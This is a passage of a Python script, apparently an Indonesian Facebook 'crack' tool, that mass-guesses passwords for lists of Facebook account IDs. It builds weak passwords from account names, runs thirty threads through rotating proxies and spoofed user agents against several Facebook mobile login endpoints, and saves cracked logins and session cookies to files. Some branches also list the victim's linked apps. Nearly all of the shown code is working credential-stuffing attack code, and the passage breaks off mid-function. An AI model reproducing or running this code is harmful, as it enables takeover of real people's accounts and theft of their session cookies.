  749.                 print('----------------------------------------------')
  750.             #   print(f' %s. %s ({h} %s{x} )'%(nom,isi,len(hem)))
  751.             else:
  752.                 lol.update({str(cih):str(isi)})
  753.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  754.             #   print(f' [No]-[{cih}] [Name]-[{isi}] [Id]-[{len(hem)}')
  755.                 print('----------------------------------------------')
  756.         geeh = input(f' Put file path: ')
  757.         try:geh = lol[geeh]
  758.         except KeyError:
  759.             print("\t")
  760.             time.sleep(3)
  761.             back()
  762.         try:lin = open('/sdcard/RKING/'+geh,'r').read().splitlines()
  763.         except:
  764.             time.sleep(2)
  765.             back()
  766.         for xid in lin:
  767.             id.append(xid)
  768.         _lanjut_()
  769. #def ua_fb():
  770. #   return ("Mozilla/5.0 (Linux; Android 12; CPH2219 Build/RKQ1.211119.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/397.0.0.23.404;]")
  771. def _lanjut_():
  772.     for bacot in id:
  773.         xx = random.randint(0,len(id2))
  774.         id2.insert(xx,bacot)
  775.     os.system('clear')
  776.     metodemu = print
  777.     banner()
  778.     print(' Metode Work 98% Ok Login!')
  779.     print('----------------------------------------------')
  780.     metodemu(f'{M} [1]{P} method       (m.facebook)       {H}(recomended)')
  781.     metodemu(f' {M}[2] {P}method       (api.facebook)       {H}(no)')
  782.     print(f'{M} [3]{P} method       (mbasic facebook)       {H}(recomended)')
  783.     hc = input(f' Choose: ')
  784.     print('')
  785.     if hc in ['1','01']:
  786.         method.append('mobile')
  787.         setpw()
  788.     elif hc in ['2','02']:
  789.         method.append('free')
  790.         setpw()
  791.     elif hc in ['03','3']:
  792.         method.append('mobile')
  793.         setpw()
  794.         print('')
  795.     else:
  796.         print('ulang')
  797.         _lanjut_()
  798. def validate():
  799.     print(f'{P}[{M}01{P}] m.facebook')
  800.     print(f'{P}[{M}02{P}] free.facebook')
  801.     print(f'{P}[{M}03{P}] mbasic.facebook')
  802.     vali = input(f'{B}• {P}validate metode : ')
  803.     if vali in ['1','01']:
  804.         method.append('mobile')
  805.         set_cok()
  806.     elif vali in ['4','04']:
  807.         method.append('cokiees')
  808.         set_cok()
  809.     else:
  810.         method.append('mobile')
  811.         set_cok()
  812. def reguler():
  813.     print(f'{P}[{M}01{P}] m.facebook')
  814.     print(f'{P}[{M}02{P}] free.facebook')
  815.     print(f'{P}[{M}03{P}] mbasic.facebook')
  816.     reg = input(f'{B}• {P}reguler metode : ')
  817.     method.append('free')
  818.     set_cok()
  819. def set_cok():
  820.     setpw()
  821. def api():
  822.     print(f'---------------[ API ]---------------')
  823.     print(f'{P}[{M}01{P}] b-api graph')
  824.     ap = input(f'{B}• {P}Metode : ')
  825.     method.append('free')
  826.     set_cok = input(f'{B}• {P}Tampilkan Cookie : ')
  827.     if set_cok in ['Y','y']:
  828.         method.append('cokiees')
  829.     else:
  830.         setpw()
  831. def setpw():
  832.     pwzku()
  833. def pwzku():
  834.         os.system('clear')
  835.         banner()
  836.         print(f'{P} Total Account Id   :  {H}{len(id)}')
  837.         print(f'{P} PROSES CRACK')
  838.         print('----------------------------------------------')
  839.         with tred(max_workers=30) as pool:
  840.             for yuzong in id2:
  841.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  842.                 frs = nmf.split(' ')[0]
  843.                 pwv = []
  844.                 if len(nmf)<6:
  845.                     if len(frs)<3:
  846.                         pass
  847.                     else:
  848.                         pwv.append(nmf)
  849.                         pwv.append(frs+'123')
  850.                         pwv.append(frs+'12345')
  851.                 else:
  852.                     if len(frs)<3:
  853.                         pwv.append(nmf)
  854.                     else:
  855.                         pwv.append(nmf)
  856.                         pwv.append(frs+'123')
  857.                         pwv.append(frs+'12345')
  858.                 if 'ya' in pwpluss:
  859.                     for xpwd in pwnya:
  860.                         pwv.append(xpwd)
  861.                 else:pass
  862.                 if 'mobile' in method:
  863.                     pool.submit(crack,idf,pwv)
  864.                 elif 'free' in method:
  865.                     pool.submit(crackfree,idf,pwv)
  866.                 elif 'mbasic' in method:
  867.                     pool.submit(crackmbasic,idf,pwv)
  868.                 elif 'asyn' in method:
  869.                     pool.submit(asyn,idf,pwv)
  870.                 elif 'cokiees' in method:
  871.                     pool.submit(cok_kie,idf,pwv)
  872.                 else:
  873.                     pool.submit(crack,idf,pwv)
  874.         print('')
  875. #       print(f'{P}[{H}√{P}] JUMBLAH LIVE :{ok} ')
  876. #       print(f'{P}[{M}×{P}] JUMBLAH CHECK :{cp}')
  877.         print('')
  878. def passu():
  879.     global prog,des
  880.     print('')
  881.     print(f'{P}[{H}•{P}] RESULT : {h}OK/%s {x}'%(okc))
  882.     print(f'{P}[{M}•{P}] RESULT : {k}CP/%s {x}'%(cpc))
  883.     print('')
  884.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  885.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  886.     des = prog.add_task('',total=len(id))
  887.     with prog:
  888.         with tred(max_workers=30) as pool:
  889.             for yuzong in id2:
  890.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  891.                 frs = nmf.split(' ')[0]
  892.                 pwv = []
  893.                 if len(nmf)<6:
  894.                     if len(frs)<3:
  895.                         pass
  896.                     else:
  897.                         pwv.append(nmf)
  898.                         pwv.append(frs+'123')
  899.                         pwv.append(frs+'1234')
  900.                         pwv.append(frs+'12345')
  901.                 else:
  902.                     if len(frs)<3:
  903.                         pwv.append(nmf)
  904.                     else:
  905.                         pwv.append(nmf)
  906.                         pwv.append(frs+'123')
  907.                         pwv.append(frs+'1234')
  908.                         pwv.append(frs+'12345')
  909.                 if 'ya' in pwpluss:
  910.                     for xpwd in pwnya:
  911.                         pwv.append(xpwd)
  912.                 else:pass
  913.                 if 'mobile' in method:
  914.                     pool.submit(crack,idf,pwv)
  915.                 elif 'free' in method:
  916.                     pool.submit(crackfree,idf,pwv)
  917.                 elif 'mbasic' in method:
  918.                     pool.submit(crackmbasic,idf,pwv)
  919.                 else:
  920.                     pool.submit(crack,idf,pwv)
  921.         print('')
  922.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  923.         print('')
  924. def sulap():
  925.     global prog,des
  926.     print('')
  927.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  928.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  929.     print(f'{B}• {P}crack mengunakan password manual')
  930.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  931.     des = prog.add_task('',total=len(id))
  932.     with prog:
  933.         with tred(max_workers=30) as pool:
  934.             for yuzong in id2:
  935.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  936.                 frs = nmf.split(' ')[0]
  937.                 pwv = []
  938.                 if len(nmf)<6:
  939.                     if len(frs)<3:
  940.                         pass
  941.                     else:
  942.                         pwv.append(nmf)
  943.                         pwv.append(frs+'123')
  944.                         pwv.append(frs+'12345')
  945.                         pwv.append(frs+'123456')
  946.                 else:
  947.                     if len(frs)<3:
  948.                         pwv.append(nmf)
  949.                     else:
  950.                         pwv.append(nmf)
  951.                         pwv.append(frs+'123')
  952.                         pwv.append(frs+'12345')
  953.                         pwv.append(frs+'123456')
  954.                 if 'ya' in pwpluss:
  955.                     for xpwd in pwnya:
  956.                         pwv.append(xpwd)
  957.                 else:pass
  958.                 if 'mobile' in method:
  959.                     pool.submit(crack,idf,pwv)
  960.                 elif 'free' in method:
  961.                     pool.submit(crackfree,idf,pwv)
  962.                 elif 'mbasic' in method:
  963.                     pool.submit(crackmbasic,idf,pwv)
  964.                 else:
  965.                     pool.submit(crack,idf,pwv)
  966.         print('')
  967.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  968.         print('')
  969.        
  970. def babi():
  971.     global prog,des
  972.     print('')
  973.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  974.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  975. #   print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  976.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  977.     des = prog.add_task('',total=len(id))
  978.     with prog:
  979.         with tred(max_workers=30) as pool:
  980.             for yuzong in id2:
  981.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  982.                 frs = nmf.split(' ')[0]
  983.                 pwv = []
  984.                 if len(nmf)<6:
  985.                     if len(frs)<3:
  986.                         pass
  987.                     else:
  988.                         pwv.append(nmf)
  989.                         pwv.append(frs+'321')
  990.                         pwv.append(frs+'123')
  991.                         pwv.append(frs+'12345')
  992.                 else:
  993.                     if len(frs)<3:
  994.                         pwv.append(nmf)
  995.                     else:
  996.                         pwv.append(nmf)
  997.                         pwv.append(frs+'321')
  998.                         pwv.append(frs+'123')
  999.                         pwv.append(frs+'12345')
  1000.                 if 'ya' in pwpluss:
  1001.                     for xpwd in pwnya:
  1002.                         pwv.append(xpwd)
  1003.                 else:pass
  1004.                 if 'mobile' in method:
  1005.                     pool.submit(crack,idf,pwv)
  1006.                 elif 'free' in method:
  1007.                     pool.submit(crackfree,idf,pwv)
  1008.                 elif 'mbasic' in method:
  1009.                     pool.submit(crackmbasic,idf,pwv)
  1010.                 else:
  1011.                     pool.submit(crack,idf,pwv)
  1012.         print('')
  1013.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  1014.         print('')
  1015. #--------------------[ METODE-B-API ]-----------------#
  1016. def crack(idf,pwv):
  1017.     global loop,ok,cp
  1018.     bo = random.choice([b,B])
  1019.     sys.stdout.write(f"\r{P} [CRACK]  {loop}|OK-{ok}|CP-{cp}")
  1020.     sys.stdout.flush()
  1021. #   sys.stdout.write(f"\r{B}[{B}{loop}{B}] {B}[{B}{len(id)}{B}] OK:{B}[1{ok}{B}] CP:{B}[{B}{cp}{B}]"),
  1022.     sys.stdout.flush()
  1023.     ua = random.choice(ugen)
  1024.     ua2 = random.choice(ugen2)
  1025.     ses = requests.Session()
  1026.     for pw in pwv:
  1027.         try:
  1028.             nip=random.choice(prox)
  1029.             proxs= {'http': 'socks4://'+nip}
  1030.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1031.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1032.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  1033.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1034.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1035.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1036.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1037.             if "checkpoint" in po.cookies.get_dict().keys():
  1038.                 print(f'{Z}[LHI-CP]  {idf}|{pw}')
  1039.                 #print(f'\n{P}')
  1040.             #   sokgg=f'\rID        :     {idf}\nPASSWORD  :     {pw}'
  1041.             #   soklu = nel(sokgg, style='cyan')
  1042.             #   cetak(nel(soklu,style='cyan',title='[cyan]• CHECKPOINTS •'))
  1043.             #   print(f'\n{P} nomor : {K}{idf}')
  1044.         #       print(f'{P} sandi : {K}{pw}')
  1045.                 open('fbcp.txt','a').write(idf+'|'+pw+'\n')
  1046.                 akun.append(idf+'|'+pw)
  1047.                 cp+=1
  1048.                 break
  1049.             elif "c_user" in ses.cookies.get_dict().keys():
  1050.                 ok+=1
  1051.                 coki=po.cookies.get_dict()
  1052.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1053.                 print(f'{H}[LHI-OK]  {idf}|{pw}')
  1054.             #   print(f'{P}')
  1055.             #   print('\n')
  1056.             #   sokgg=f'\r[cyan]ID        :     {idf}\nPASSWORD  :     {pw}\nCOKIE     :     {kuki}'
  1057.             #   soklu = nel(sokgg, style='cyan')
  1058.             #   cetak(nel(soklu,style='cyan',title='[cyan]• SUCCESS •'))
  1059.         #       print(f'\n{P} nomor : {H}{idf}')
  1060.             #   print(f'{P} sandi : {H}{pw}')
  1061.             #   print(f'{P} cookie: {H}{kuki}')
  1062.                 open('fbok.txt','a').write(idf+'|'+pw+'|'+ua+'\n')
  1063.                 cek_apk(session,coki)
  1064.                 break
  1065.                
  1066.             else:
  1067.                 continue
  1068.         except requests.exceptions.ConnectionError:
  1069.             time.sleep(31)
  1070.     loop+=1
  1071. #------------------[ METHODE-MBASIC-2 ]-------------------#
  1072. def crackfree(idf,pwv):
  1073.     global loop,ok,cp
  1074.     sys.stdout.write(f"\r{H}[{H}{loop}{H}]{H}{len(id)}{h}]—{ah}[{H}{ok}{H}]—{H}[{H}{cp}{H}]—[{H}{'{:.0%}'.format(loop/float(len(id)))}{H}]  "),
  1075.     sys.stdout.flush()
  1076.     ua = random.choice(ugen)
  1077.     ua2 = random.choice(ugen2)
  1078.     ses = requests.Session()
  1079.     for pw in pwv:
  1080.         try:
  1081.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1082.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1083.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1084.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1085.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1086.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1087.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1088.             if "checkpoint" in po.cookies.get_dict().keys():
  1089.                 luxdev=f'\rNOMOR : {idf}\nSANDI  : {pw}\nAGENT  : {ua}'
  1090.                 luxgg = nel(luxdev, style='yellow')
  1091.                 print('\n')
  1092.                 cetak(nel(luxgg,style='',title='LUXINE-CHECKPOINT'))
  1093.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1094.                 akun.append(idf+'|'+pw)
  1095.                 cp+=1
  1096.                 break
  1097.             elif "c_user" in ses.cookies.get_dict().keys():
  1098.                 ok+=1
  1099.                 coki=po.cookies.get_dict()
  1100.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1101.                 luxdev=f'\rNOMOR : {idf}\nSANDI  : {pw}\nCOKIE : {kuki}'
  1102.                 luxgg = nel(luxdev, style='green')
  1103.                 cetak(nel(luxgg,style='',title='LUXINE-SUCEES'))
  1104.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  1105.                 cek_apk(session,coki)
  1106.                 break
  1107.                
  1108.             else:
  1109.                 continue
  1110.         except requests.exceptions.ConnectionError:
  1111.             time.sleep(31)
  1112.     loop+=1
  1113.  
  1114. #---------------------[ METHODE-TOUCH-3 ]---------------------#
  1115. def cracktouch(idf,pwv):
  1116.     global loop,ok,cp
  1117.     bi = random.choice([u,k,kk,b,h,hh])
  1118.     pers = loop*100/len(id2)
  1119.     fff = '%'
  1120.     nip=random.choice(prox)
  1121.     proxs= {'http': 'socks5://'+nip}
  1122.     ua = random.choice(ugen)
  1123.     ua2 = random.choice(ugen2)
  1124.     ses = requests.Session()
  1125.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  1126.     for pw in pwv:
  1127.         try:
  1128.             ses.headers.update({'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1129.             p = ses.get('https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1130.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://touch.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1131.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1132.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1133.             heade={'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://touch.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1134.             po = ses.post('https://touch.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1135.             if "checkpoint" in po.cookies.get_dict().keys():
  1136.                 if 'ya' in oprek:
  1137.                     akun.append(idf+'|'+pw)
  1138.                     ceker(idf,pw)
  1139.                 elif 'ya' in princp:
  1140.                     print('\n')
  1141.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  1142.                     statuscp1 = nel(statuscp, style='red')
  1143.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  1144.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1145.                     akun.append(idf+'|'+pw)
  1146.                     cp+=1
  1147.                 else:continue
  1148.                 break
  1149.             elif "c_user" in ses.cookies.get_dict().keys():
  1150.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  1151.                 if 'no' in taplikasi:
  1152.                     coki=po.cookies.get_dict()
  1153.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1154.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1155.                     print('\n')
  1156.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  1157.                     statusok1 = nel(statusok, style='green')
  1158.                     cetak(nel(statusok1, title='AOREC-XD OK'))
  1159.                     ok+=1
  1160.                     break
  1161.                 elif 'ya' in taplikasi:
  1162.                     coki=po.cookies.get_dict()
  1163.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1164.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1165.                     user=idf
  1166.                     infoakun = ""
  1167.                     session = requests.Session()
  1168.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  1169.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  1170.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  1171.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  1172.                     nok=1
  1173.                     for muncul in apkaktif:
  1174.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  1175.                         nok+=1
  1176.  
  1177.                     hit=0
  1178.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
  1179.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  1180.                     hit=0
  1181.                     for muncul in apkexp:
  1182.                         hit+=1
  1183.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  1184.                     print('\n')
  1185.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  1186.                     statusok1 = nel(statusok, style='green')
  1187.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  1188.                     ok+=1
  1189.                     break
  1190.  
  1191.  
  1192.             else:
  1193.                 continue
  1194.         except requests.exceptions.ConnectionError:
  1195.             time.sleep(31)
  1196.     loop+=1
  1197. #----------------------[ METHODE-MTOUCH+MOBILE-4 ]-----------------#
  1198. def crackmbasic(idf,pwv):
  1199.     global loop,ok,cp
  1200.     bi = random.choice([u,k,kk,b,h,hh])
  1201.     pers = loop*100/len(id2)
  1202.     fff = '%'
  1203.     nip=random.choice(prox)
  1204.     proxs= {'http': 'socks5://'+nip}
  1205.     ua = random.choice(ugen)
  1206.     ua2 = random.choice(ugen2)
  1207.     ses = requests.Session()
  1208.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  1209.     for pw in pwv:
  1210.         try:
  1211.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1212.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1213.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1214.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1215.             koki+=' m_pixel_ratio=2.625; wd=412x756'
